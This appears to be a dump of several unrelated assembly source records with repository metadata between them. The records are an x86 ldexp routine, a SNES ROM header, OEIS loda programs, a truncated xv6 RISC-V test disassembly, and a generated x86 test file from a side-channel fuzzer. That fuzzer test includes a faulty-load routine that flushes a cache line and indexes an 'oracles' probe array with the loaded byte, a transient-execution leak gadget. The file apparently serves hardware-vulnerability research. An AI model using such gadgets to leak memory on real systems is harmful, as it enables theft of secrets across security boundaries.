;(also doing an fwait, MASM doesn't ; recognize fnstp !@#$%^&) mov EDX,P+4[EBP] mov EAX,P+0[EBP] ;transfer result to EDX,EAX pop EBP ret Ld2: uses <ESI,EDI> mov EAX,P+0[EBP] mov EDX,P+4[EBP] ;transfer double to EDX,EAX call dget_dtype jmp dword ptr cs:LdIndex[ESI*4] LdIndex label word if _FLAT dd offset FLAT:LdNormal ;other dd offset FLAT:LdZero ;zero dd offset FLAT:LdInfinite ;infinite dd offset FLAT:LdSNaN ;SNaN dd offset FLAT:LdQNaN ;QNaN else dd LdNormal ;other dd LdZero ;zero dd LdInfinite ;infinite dd LdSNaN ;SNaN dd LdQNaN ;QNaN endif LdNormal: mov ESI,EDX and ESI,longexp ;mask off exponent bits je LdSubNormal xor EDX,ESI ;clear exponent bits in EDX shr ESI,20 ;right justify exponent add ESI,P+8[EBP] ;add exp jle Ld7 ;test for underflow cmp ESI,7ffh ;test for overflow jge Ld6 ;yes shl ESI,20 ; and ESI,longexp ;dump extraneous bits (not necessary) or EDX,ESI ;install exponent ; jmps LdDone LdZero: LdInfinite: LdQNaN: LdDone: unuse <EDI,ESI> pop EBP ret Ld6: ;overflow mov EDI,EDX feexcept <FE_OVERFLOW or FE_INEXACT> call exception ;raise overflow exception jmps LdDone Ld7: ;underflow ; AX,BX,CX,DX <<= 11 normalize so dround will work mov EDI,EDX ;save sign bit or EDX,longhid shld EDX,EAX,11 shl EAX,11 call dround jmps LdDone LdSNaN: or EAX,dqnan_bit feexcept FE_INVALID jmps LdDone LdSubNormal: ; do it the slow but safe way call dunnorm ;unpack add ESI,P+8[EBP] ;add exp call dround jmps LdDone endif c_endp ldexp endcode double end
18.230263
66
0.637676
a6095aa4893ad7635a66fa0cfdd3f2821b60bd6e
456
asm
Assembly
src/snes/header.asm
puzzud/retroleague
e11932ffaaf7ee07571e9971cf12bbf7f1457d89
[ "MIT" ]
4
2017-11-06T20:37:16.000Z
2021-02-05T15:55:20.000Z
src/snes/header.asm
puzzud/retroleague
e11932ffaaf7ee07571e9971cf12bbf7f1457d89
[ "MIT" ]
11
2016-09-06T17:42:23.000Z
2016-09-26T18:50:24.000Z
src/snes/header.asm
puzzud/retroleague
e11932ffaaf7ee07571e9971cf12bbf7f1457d89
[ "MIT" ]
2
2020-03-28T21:41:22.000Z
2020-05-08T09:18:25.000Z
.p816 ; 65816 processor .i16 ; X/Y are 16 bits .a8 ; A is 8 bits .include "snes.asm" .segment "HEADER" ; +$7FE0 in file .byte "ROM NAME" ; ROM name. NOTE: Can be changed. .segment "ROMINFO" ; +$7FD5 in file .byte $30 ; LoROM, fast-capable .byte 0 ; no battery RAM .byte $07 ; 128K ROM .byte 0,0,0,0 .word $AAAA,$5555 ; dummy checksum and complement ; TODO:
26.823529
56
0.524123
f8e9d177bdce01e5783d3b6a292a3683eb7da7a4
3,074
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_8_350.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_8_350.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_8_350.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0xac9b, %rsi lea addresses_UC_ht+0x1aa20, %rdi nop sub $55349, %rax mov $88, %rcx rep movsl sub %r13, %r13 lea addresses_UC_ht+0xc2f4, %r12 nop nop nop add %r11, %r11 mov (%r12), %rdi nop nop inc %rax lea addresses_WC_ht+0x1a310, %rsi lea addresses_normal_ht+0xdb90, %rdi nop nop nop nop nop cmp $28595, %r13 mov $125, %rcx rep movsq nop nop nop nop inc %rdi lea addresses_WT_ht+0x6390, %rcx nop nop nop nop xor $13959, %r11 vmovups (%rcx), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %rsi nop nop and $57278, %rcx lea addresses_UC_ht+0x6c98, %r12 nop nop sub $1924, %rdi movw $0x6162, (%r12) nop sub %rdi, %rdi lea addresses_A_ht+0x158d0, %rsi clflush (%rsi) nop nop nop nop nop sub %r12, %r12 mov $0x6162636465666768, %r13 movq %r13, %xmm1 movups %xmm1, (%rsi) nop add $30421, %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r14 push %r9 push %rax push %rdx // Store lea addresses_RW+0x13cbc, %r10 nop nop nop nop sub $52435, %r12 mov $0x5152535455565758, %r14 movq %r14, %xmm6 vmovups %ymm6, (%r10) nop nop nop nop nop inc %r14 // Store lea addresses_A+0xa40, %r14 nop nop xor %rax, %rax movw $0x5152, (%r14) nop nop nop nop nop xor $63996, %r14 // Faulty Load lea addresses_normal+0xdb90, %rax clflush (%rax) nop nop nop sub $43439, %r12 movups (%rax), %xmm3 vpextrq $1, %xmm3, %rdx lea oracles, %r10 and $0xff, %rdx shlq $12, %rdx mov (%r10,%rdx,1), %rdx pop %rdx pop %rax pop %r9 pop %r14 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'34': 8} 34 34 34 34 34 34 34 34 */
18.975309
151
0.652895
49e6008ef7ae85ba5d3d4a3366d5afbc877d2e99
614
asm
Assembly
programs/oeis/208/A208283.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/208/A208283.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/208/A208283.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A208283: Number of n X 4 0..1 arrays avoiding 0 0 0 and 0 0 1 horizontally and 0 0 1 and 1 1 0 vertically. ; 10,100,378,984,2090,3900,6650,10608,16074,23380,32890,45000,60138,78764,101370,128480,160650,198468,242554,293560,352170,419100,495098,580944,677450,785460,905850,1039528,1187434,1350540,1529850,1726400,1941258 mov $2,$0 mov $3,$0 add $0,4 bin $0,3 sub $0,1 mul $2,$0 mov $4,$0 sub $4,1 mov $5,2 add $5,$2 mov $8,$2 add $8,$5 lpb $0 mov $0,1 mov $1,$8 add $8,$4 add $1,$8 mul $1,2 lpe sub $1,2 mov $6,$3 mul $6,2 add $1,$6 mov $7,$3 mul $7,$3 add $1,$7 mul $7,$3 mov $6,$7 mul $6,3 add $1,$6
18.058824
212
0.654723
9750a72fe4142826a3f7a589707a56729dff609f
562
asm
Assembly
programs/oeis/070/A070515.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/070/A070515.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/070/A070515.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A070515: a(n) = n^4 mod 11. ; 0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3,4,5,1,0,1,5,4,3,9,9,3 mov $1,$0 pow $1,4 mod $1,11
80.285714
501
0.501779
56e8e933018ab606ec11b9454f45f87374dca26f
120,017
asm
Assembly
user/test.asm
noastern/os212-ass3
9435c1ac5f3fb47d446569a89f1032b2a23d8f06
[ "MIT-0" ]
null
null
null
user/test.asm
noastern/os212-ass3
9435c1ac5f3fb47d446569a89f1032b2a23d8f06
[ "MIT-0" ]
null
null
null
user/test.asm
noastern/os212-ass3
9435c1ac5f3fb47d446569a89f1032b2a23d8f06
[ "MIT-0" ]
null
null
null
user/_test: file format elf64-littleriscv Disassembly of section .text: 0000000000000000 <basic_fork_test>: void ALGO_test(char* test_name); void basic_fork_test(char* test_name){ 0: 1101 addi sp,sp,-32 2: ec06 sd ra,24(sp) 4: e822 sd s0,16(sp) 6: e426 sd s1,8(sp) 8: 1000 addi s0,sp,32 a: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero c: 4501 li a0,0 e: 00001097 auipc ra,0x1 12: 2d2080e7 jalr 722(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); 16: 85a6 mv a1,s1 18: 00001517 auipc a0,0x1 1c: 75050513 addi a0,a0,1872 # 1768 <malloc+0xea> 20: 00001097 auipc ra,0x1 24: 5a0080e7 jalr 1440(ra) # 15c0 <printf> int cpid = fork(); 28: 00001097 auipc ra,0x1 2c: 210080e7 jalr 528(ra) # 1238 <fork> if (cpid){ // father 30: cd0d beqz a0,6a <basic_fork_test+0x6a> printf("i am the father!\n"); 32: 00001517 auipc a0,0x1 36: 75650513 addi a0,a0,1878 # 1788 <malloc+0x10a> 3a: 00001097 auipc ra,0x1 3e: 586080e7 jalr 1414(ra) # 15c0 <printf> wait(0); 42: 4501 li a0,0 44: 00001097 auipc ra,0x1 48: 204080e7 jalr 516(ra) # 1248 <wait> else{ printf("i am the son's son!\n"); } exit(0); } PRINT_END(test_name, -1); 4c: 567d li a2,-1 4e: 85a6 mv a1,s1 50: 00001517 auipc a0,0x1 54: 75050513 addi a0,a0,1872 # 17a0 <malloc+0x122> 58: 00001097 auipc ra,0x1 5c: 568080e7 jalr 1384(ra) # 15c0 <printf> } 60: 60e2 ld ra,24(sp) 62: 6442 ld s0,16(sp) 64: 64a2 ld s1,8(sp) 66: 6105 addi sp,sp,32 68: 8082 ret int cpid2 = fork(); 6a: 00001097 auipc ra,0x1 6e: 1ce080e7 jalr 462(ra) # 1238 <fork> if(cpid2){//first son 72: c11d beqz a0,98 <basic_fork_test+0x98> printf("i am the first son!\n"); 74: 00001517 auipc a0,0x1 78: 76c50513 addi a0,a0,1900 # 17e0 <malloc+0x162> 7c: 00001097 auipc ra,0x1 80: 544080e7 jalr 1348(ra) # 15c0 <printf> wait(0); 84: 4501 li a0,0 86: 00001097 auipc ra,0x1 8a: 1c2080e7 jalr 450(ra) # 1248 <wait> exit(0); 8e: 4501 li a0,0 90: 00001097 auipc ra,0x1 94: 1b0080e7 jalr 432(ra) # 1240 <exit> printf("i am the son's son!\n"); 98: 00001517 auipc a0,0x1 9c: 76050513 addi a0,a0,1888 # 17f8 <malloc+0x17a> a0: 00001097 auipc ra,0x1 a4: 520080e7 jalr 1312(ra) # 15c0 <printf> a8: b7dd j 8e <basic_fork_test+0x8e> 00000000000000aa <sbrk_test_son>: void sbrk_test_son(char* test_name){ aa: 7179 addi sp,sp,-48 ac: f406 sd ra,40(sp) ae: f022 sd s0,32(sp) b0: ec26 sd s1,24(sp) b2: 1800 addi s0,sp,48 b4: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero b6: 4501 li a0,0 b8: 00001097 auipc ra,0x1 bc: 228080e7 jalr 552(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); c0: 85a6 mv a1,s1 c2: 00001517 auipc a0,0x1 c6: 6a650513 addi a0,a0,1702 # 1768 <malloc+0xea> ca: 00001097 auipc ra,0x1 ce: 4f6080e7 jalr 1270(ra) # 15c0 <printf> int pgf; int i=0; int num=16; int cpid = fork(); d2: 00001097 auipc ra,0x1 d6: 166080e7 jalr 358(ra) # 1238 <fork> if (cpid){//father da: c529 beqz a0,124 <sbrk_test_son+0x7a> wait(&pgf); dc: fdc40513 addi a0,s0,-36 e0: 00001097 auipc ra,0x1 e4: 168080e7 jalr 360(ra) # 1248 <wait> printf("finished free\n"); pgf = setAndGetPageFaultsNum(-1); exit(pgf); } test_name_array[0] = test_name; e8: 00002797 auipc a5,0x2 ec: f0078793 addi a5,a5,-256 # 1fe8 <test_name_array> f0: e384 sd s1,0(a5) pgf_array[0] = pgf; f2: fdc42603 lw a2,-36(s0) f6: 0ac7a023 sw a2,160(a5) sum_value= sum_value+pgf; fa: 00002717 auipc a4,0x2 fe: ede70713 addi a4,a4,-290 # 1fd8 <sum_value> 102: 431c lw a5,0(a4) 104: 9fb1 addw a5,a5,a2 106: c31c sw a5,0(a4) PRINT_END(test_name, pgf); 108: 85a6 mv a1,s1 10a: 00001517 auipc a0,0x1 10e: 69650513 addi a0,a0,1686 # 17a0 <malloc+0x122> 112: 00001097 auipc ra,0x1 116: 4ae080e7 jalr 1198(ra) # 15c0 <printf> } 11a: 70a2 ld ra,40(sp) 11c: 7402 ld s0,32(sp) 11e: 64e2 ld s1,24(sp) 120: 6145 addi sp,sp,48 122: 8082 ret printf("~~~~~~~~~~~~~~son gonna sbrk!!!!!\n"); 124: 00001517 auipc a0,0x1 128: 6ec50513 addi a0,a0,1772 # 1810 <malloc+0x192> 12c: 00001097 auipc ra,0x1 130: 494080e7 jalr 1172(ra) # 15c0 <printf> int * memory_pointer = (int*)(sbrk(PGSIZE*num)); 134: 6541 lui a0,0x10 136: 00001097 auipc ra,0x1 13a: 192080e7 jalr 402(ra) # 12c8 <sbrk> 13e: 84aa mv s1,a0 printf("~~~~~~~~~~~~~~son finish sbrk!!!!!\n"); 140: 00001517 auipc a0,0x1 144: 6f850513 addi a0,a0,1784 # 1838 <malloc+0x1ba> 148: 00001097 auipc ra,0x1 14c: 478080e7 jalr 1144(ra) # 15c0 <printf> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 150: 87a6 mv a5,s1 152: 6741 lui a4,0x10 154: 9726 add a4,a4,s1 memory_pointer[i]=0; 156: 0007a023 sw zero,0(a5) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 15a: 0791 addi a5,a5,4 15c: fee79de3 bne a5,a4,156 <sbrk_test_son+0xac> printf("finished alloc with sbrk and set values\n"); 160: 00001517 auipc a0,0x1 164: 70050513 addi a0,a0,1792 # 1860 <malloc+0x1e2> 168: 00001097 auipc ra,0x1 16c: 458080e7 jalr 1112(ra) # 15c0 <printf> sbrk(-PGSIZE*num); 170: 7541 lui a0,0xffff0 172: 00001097 auipc ra,0x1 176: 156080e7 jalr 342(ra) # 12c8 <sbrk> printf("finished free\n"); 17a: 00001517 auipc a0,0x1 17e: 71650513 addi a0,a0,1814 # 1890 <malloc+0x212> 182: 00001097 auipc ra,0x1 186: 43e080e7 jalr 1086(ra) # 15c0 <printf> pgf = setAndGetPageFaultsNum(-1); 18a: 557d li a0,-1 18c: 00001097 auipc ra,0x1 190: 154080e7 jalr 340(ra) # 12e0 <setAndGetPageFaultsNum> 194: fca42e23 sw a0,-36(s0) exit(pgf); 198: 00001097 auipc ra,0x1 19c: 0a8080e7 jalr 168(ra) # 1240 <exit> 00000000000001a0 <sbrk_not_multiply_of_PGSIZE>: void sbrk_not_multiply_of_PGSIZE(char* test_name){ 1a0: 7179 addi sp,sp,-48 1a2: f406 sd ra,40(sp) 1a4: f022 sd s0,32(sp) 1a6: ec26 sd s1,24(sp) 1a8: e84a sd s2,16(sp) 1aa: 1800 addi s0,sp,48 1ac: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero 1ae: 4501 li a0,0 1b0: 00001097 auipc ra,0x1 1b4: 130080e7 jalr 304(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); 1b8: 85a6 mv a1,s1 1ba: 00001517 auipc a0,0x1 1be: 5ae50513 addi a0,a0,1454 # 1768 <malloc+0xea> 1c2: 00001097 auipc ra,0x1 1c6: 3fe080e7 jalr 1022(ra) # 15c0 <printf> int pgf; int i=0; int num=25; int cpid = fork(); 1ca: 00001097 auipc ra,0x1 1ce: 06e080e7 jalr 110(ra) # 1238 <fork> if (cpid){//father 1d2: c531 beqz a0,21e <sbrk_not_multiply_of_PGSIZE+0x7e> wait(&pgf); 1d4: fdc40513 addi a0,s0,-36 1d8: 00001097 auipc ra,0x1 1dc: 070080e7 jalr 112(ra) # 1248 <wait> sbrk(-PGSIZE*num); printf("finished free\n"); pgf = setAndGetPageFaultsNum(-1); exit(pgf); } test_name_array[1] = test_name; 1e0: 00002797 auipc a5,0x2 1e4: e0878793 addi a5,a5,-504 # 1fe8 <test_name_array> 1e8: e784 sd s1,8(a5) pgf_array[1] = pgf; 1ea: fdc42603 lw a2,-36(s0) 1ee: 0ac7a223 sw a2,164(a5) sum_value= sum_value+pgf; 1f2: 00002717 auipc a4,0x2 1f6: de670713 addi a4,a4,-538 # 1fd8 <sum_value> 1fa: 431c lw a5,0(a4) 1fc: 9fb1 addw a5,a5,a2 1fe: c31c sw a5,0(a4) PRINT_END(test_name, pgf); 200: 85a6 mv a1,s1 202: 00001517 auipc a0,0x1 206: 59e50513 addi a0,a0,1438 # 17a0 <malloc+0x122> 20a: 00001097 auipc ra,0x1 20e: 3b6080e7 jalr 950(ra) # 15c0 <printf> } 212: 70a2 ld ra,40(sp) 214: 7402 ld s0,32(sp) 216: 64e2 ld s1,24(sp) 218: 6942 ld s2,16(sp) 21a: 6145 addi sp,sp,48 21c: 8082 ret 21e: 892a mv s2,a0 int * memory_pointer = (int*)(sbrk(PGSIZE*num+8)); 220: 6565 lui a0,0x19 222: 0521 addi a0,a0,8 224: 00001097 auipc ra,0x1 228: 0a4080e7 jalr 164(ra) # 12c8 <sbrk> 22c: 84aa mv s1,a0 for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 22e: 87aa mv a5,a0 230: 6719 lui a4,0x6 232: 40070713 addi a4,a4,1024 # 6400 <__global_pointer$+0x3c2f> memory_pointer[i]=i; 236: 0127a023 sw s2,0(a5) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 23a: 2905 addiw s2,s2,1 23c: 0791 addi a5,a5,4 23e: fee91ce3 bne s2,a4,236 <sbrk_not_multiply_of_PGSIZE+0x96> memory_pointer[i+40]= 40; 242: 67e5 lui a5,0x19 244: 94be add s1,s1,a5 246: 02800793 li a5,40 24a: 0af4a023 sw a5,160(s1) printf("finished alloc with sbrk and set values\n"); 24e: 00001517 auipc a0,0x1 252: 61250513 addi a0,a0,1554 # 1860 <malloc+0x1e2> 256: 00001097 auipc ra,0x1 25a: 36a080e7 jalr 874(ra) # 15c0 <printf> printf("memory_pointer[sbrk(PGSIZE*num)+7]=%d \n",memory_pointer[i-1]); 25e: ffc4a583 lw a1,-4(s1) 262: 00001517 auipc a0,0x1 266: 63e50513 addi a0,a0,1598 # 18a0 <malloc+0x222> 26a: 00001097 auipc ra,0x1 26e: 356080e7 jalr 854(ra) # 15c0 <printf> printf("memory_pointer[sbrk(PGSIZE*num)+3]=%d \n",memory_pointer[i-2]); 272: ff84a583 lw a1,-8(s1) 276: 00001517 auipc a0,0x1 27a: 65a50513 addi a0,a0,1626 # 18d0 <malloc+0x252> 27e: 00001097 auipc ra,0x1 282: 342080e7 jalr 834(ra) # 15c0 <printf> printf("memory_pointer[sbrk(PGSIZE*num)+13]=%d \n",memory_pointer[i+1]); 286: 40cc lw a1,4(s1) 288: 00001517 auipc a0,0x1 28c: 67850513 addi a0,a0,1656 # 1900 <malloc+0x282> 290: 00001097 auipc ra,0x1 294: 330080e7 jalr 816(ra) # 15c0 <printf> sbrk(-PGSIZE*num); 298: 751d lui a0,0xfffe7 29a: 00001097 auipc ra,0x1 29e: 02e080e7 jalr 46(ra) # 12c8 <sbrk> printf("finished free\n"); 2a2: 00001517 auipc a0,0x1 2a6: 5ee50513 addi a0,a0,1518 # 1890 <malloc+0x212> 2aa: 00001097 auipc ra,0x1 2ae: 316080e7 jalr 790(ra) # 15c0 <printf> pgf = setAndGetPageFaultsNum(-1); 2b2: 557d li a0,-1 2b4: 00001097 auipc ra,0x1 2b8: 02c080e7 jalr 44(ra) # 12e0 <setAndGetPageFaultsNum> 2bc: fca42e23 sw a0,-36(s0) exit(pgf); 2c0: 00001097 auipc ra,0x1 2c4: f80080e7 jalr -128(ra) # 1240 <exit> 00000000000002c8 <sbrk_test_father>: void sbrk_test_father(char* test_name){ 2c8: 1101 addi sp,sp,-32 2ca: ec06 sd ra,24(sp) 2cc: e822 sd s0,16(sp) 2ce: e426 sd s1,8(sp) 2d0: 1000 addi s0,sp,32 2d2: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero 2d4: 4501 li a0,0 2d6: 00001097 auipc ra,0x1 2da: 00a080e7 jalr 10(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); 2de: 85a6 mv a1,s1 2e0: 00001517 auipc a0,0x1 2e4: 48850513 addi a0,a0,1160 # 1768 <malloc+0xea> 2e8: 00001097 auipc ra,0x1 2ec: 2d8080e7 jalr 728(ra) # 15c0 <printf> int i=0; int pgf =0; int num = 25; int * memory_pointer = (int*)(sbrk(PGSIZE*num)); 2f0: 6565 lui a0,0x19 2f2: 00001097 auipc ra,0x1 2f6: fd6080e7 jalr -42(ra) # 12c8 <sbrk> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 2fa: 67e5 lui a5,0x19 2fc: 97aa add a5,a5,a0 memory_pointer[i]=0; 2fe: 00052023 sw zero,0(a0) # 19000 <__global_pointer$+0x1682f> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 302: 0511 addi a0,a0,4 304: fef51de3 bne a0,a5,2fe <sbrk_test_father+0x36> } printf("finished alloc with sbrk and set values\n"); 308: 00001517 auipc a0,0x1 30c: 55850513 addi a0,a0,1368 # 1860 <malloc+0x1e2> 310: 00001097 auipc ra,0x1 314: 2b0080e7 jalr 688(ra) # 15c0 <printf> sbrk(-PGSIZE*num); 318: 751d lui a0,0xfffe7 31a: 00001097 auipc ra,0x1 31e: fae080e7 jalr -82(ra) # 12c8 <sbrk> printf("finished free\n"); 322: 00001517 auipc a0,0x1 326: 56e50513 addi a0,a0,1390 # 1890 <malloc+0x212> 32a: 00001097 auipc ra,0x1 32e: 296080e7 jalr 662(ra) # 15c0 <printf> pgf= setAndGetPageFaultsNum(0); 332: 4501 li a0,0 334: 00001097 auipc ra,0x1 338: fac080e7 jalr -84(ra) # 12e0 <setAndGetPageFaultsNum> 33c: 862a mv a2,a0 test_name_array[2] = test_name; 33e: 00002797 auipc a5,0x2 342: caa78793 addi a5,a5,-854 # 1fe8 <test_name_array> 346: eb84 sd s1,16(a5) pgf_array[2] = pgf; 348: 0aa7a423 sw a0,168(a5) sum_value= sum_value+pgf; 34c: 00002717 auipc a4,0x2 350: c8c70713 addi a4,a4,-884 # 1fd8 <sum_value> 354: 431c lw a5,0(a4) 356: 9fa9 addw a5,a5,a0 358: c31c sw a5,0(a4) PRINT_END(test_name, pgf); 35a: 85a6 mv a1,s1 35c: 00001517 auipc a0,0x1 360: 44450513 addi a0,a0,1092 # 17a0 <malloc+0x122> 364: 00001097 auipc ra,0x1 368: 25c080e7 jalr 604(ra) # 15c0 <printf> } 36c: 60e2 ld ra,24(sp) 36e: 6442 ld s0,16(sp) 370: 64a2 ld s1,8(sp) 372: 6105 addi sp,sp,32 374: 8082 ret 0000000000000376 <double_sbrk_test_son>: void double_sbrk_test_son(char* test_name){ 376: 715d addi sp,sp,-80 378: e486 sd ra,72(sp) 37a: e0a2 sd s0,64(sp) 37c: fc26 sd s1,56(sp) 37e: f84a sd s2,48(sp) 380: f44e sd s3,40(sp) 382: f052 sd s4,32(sp) 384: ec56 sd s5,24(sp) 386: 0880 addi s0,sp,80 388: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero 38a: 4501 li a0,0 38c: 00001097 auipc ra,0x1 390: f54080e7 jalr -172(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); 394: 85a6 mv a1,s1 396: 00001517 auipc a0,0x1 39a: 3d250513 addi a0,a0,978 # 1768 <malloc+0xea> 39e: 00001097 auipc ra,0x1 3a2: 222080e7 jalr 546(ra) # 15c0 <printf> int pgf; int i=0; int num = 25; int cpid = fork(); 3a6: 00001097 auipc ra,0x1 3aa: e92080e7 jalr -366(ra) # 1238 <fork> if (cpid){//father 3ae: c929 beqz a0,400 <double_sbrk_test_son+0x8a> wait(&pgf); 3b0: fbc40513 addi a0,s0,-68 3b4: 00001097 auipc ra,0x1 3b8: e94080e7 jalr -364(ra) # 1248 <wait> sbrk(-PGSIZE*num); pgf = setAndGetPageFaultsNum(-1); printf("finished second dealloc\n"); exit(pgf); } test_name_array[3] = test_name; 3bc: 00002797 auipc a5,0x2 3c0: c2c78793 addi a5,a5,-980 # 1fe8 <test_name_array> 3c4: ef84 sd s1,24(a5) pgf_array[3] = pgf; 3c6: fbc42603 lw a2,-68(s0) 3ca: 0ac7a623 sw a2,172(a5) sum_value= sum_value+pgf; 3ce: 00002717 auipc a4,0x2 3d2: c0a70713 addi a4,a4,-1014 # 1fd8 <sum_value> 3d6: 431c lw a5,0(a4) 3d8: 9fb1 addw a5,a5,a2 3da: c31c sw a5,0(a4) PRINT_END(test_name, pgf); 3dc: 85a6 mv a1,s1 3de: 00001517 auipc a0,0x1 3e2: 3c250513 addi a0,a0,962 # 17a0 <malloc+0x122> 3e6: 00001097 auipc ra,0x1 3ea: 1da080e7 jalr 474(ra) # 15c0 <printf> } 3ee: 60a6 ld ra,72(sp) 3f0: 6406 ld s0,64(sp) 3f2: 74e2 ld s1,56(sp) 3f4: 7942 ld s2,48(sp) 3f6: 79a2 ld s3,40(sp) 3f8: 7a02 ld s4,32(sp) 3fa: 6ae2 ld s5,24(sp) 3fc: 6161 addi sp,sp,80 3fe: 8082 ret 400: 892a mv s2,a0 int * memory_pointer = (int*)(sbrk(PGSIZE*num)); 402: 6565 lui a0,0x19 404: 00001097 auipc ra,0x1 408: ec4080e7 jalr -316(ra) # 12c8 <sbrk> 40c: 87aa mv a5,a0 for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 40e: 6765 lui a4,0x19 410: 972a add a4,a4,a0 memory_pointer[i]=0; 412: 0007a023 sw zero,0(a5) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 416: 0791 addi a5,a5,4 418: fee79de3 bne a5,a4,412 <double_sbrk_test_son+0x9c> printf("finished first alloc and giving value\n"); 41c: 00001517 auipc a0,0x1 420: 51450513 addi a0,a0,1300 # 1930 <malloc+0x2b2> 424: 00001097 auipc ra,0x1 428: 19c080e7 jalr 412(ra) # 15c0 <printf> sbrk(-PGSIZE*num); 42c: 751d lui a0,0xfffe7 42e: 00001097 auipc ra,0x1 432: e9a080e7 jalr -358(ra) # 12c8 <sbrk> printf("finished first dealloc\n"); 436: 00001517 auipc a0,0x1 43a: 52250513 addi a0,a0,1314 # 1958 <malloc+0x2da> 43e: 00001097 auipc ra,0x1 442: 182080e7 jalr 386(ra) # 15c0 <printf> memory_pointer = (int*)(sbrk(PGSIZE*num)); 446: 6565 lui a0,0x19 448: 00001097 auipc ra,0x1 44c: e80080e7 jalr -384(ra) # 12c8 <sbrk> 450: 84aa mv s1,a0 452: 872a mv a4,a0 for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 454: 87ca mv 